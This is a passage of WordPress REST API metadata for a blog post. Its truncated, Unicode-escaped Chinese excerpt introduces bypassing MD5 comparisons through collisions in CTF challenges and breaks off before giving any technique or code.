md5\u78b0\u649e \u6709\u7684ctf\u9898\u4e2d\u4f1a\u51fa\u73b0\u4e24\u4e2a\u53c2\u6570\u4e0d\u540c\uff0c\u4f46\u8981\u6c42md5\u503c\u4e0d\u540c\u4e4b\u7c7b\u60c5\u51b5\uff0c\u8fd9\u65f6\u5019\u5c31\u9700\u8981\u4e00\u4e9b\u65b9\u6cd5\u6765\u7ed5\u8fc7\uff0c\u4ece\u800c\u6ee1\u8db3 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-86","post","type-post","status-publish","format-standard","hentry","category-7"],"_links":{"self":[{"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/posts\/86","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/comments?post=86"}],"version-history":[{"count":1,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/posts\/86\/revisions"}],"predecessor-version":[{"id":87,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/posts\/86\/revisions\/87"}],"wp:attachment":[{"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/media?parent=86"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/categories?post=86"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/tags?post=86"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}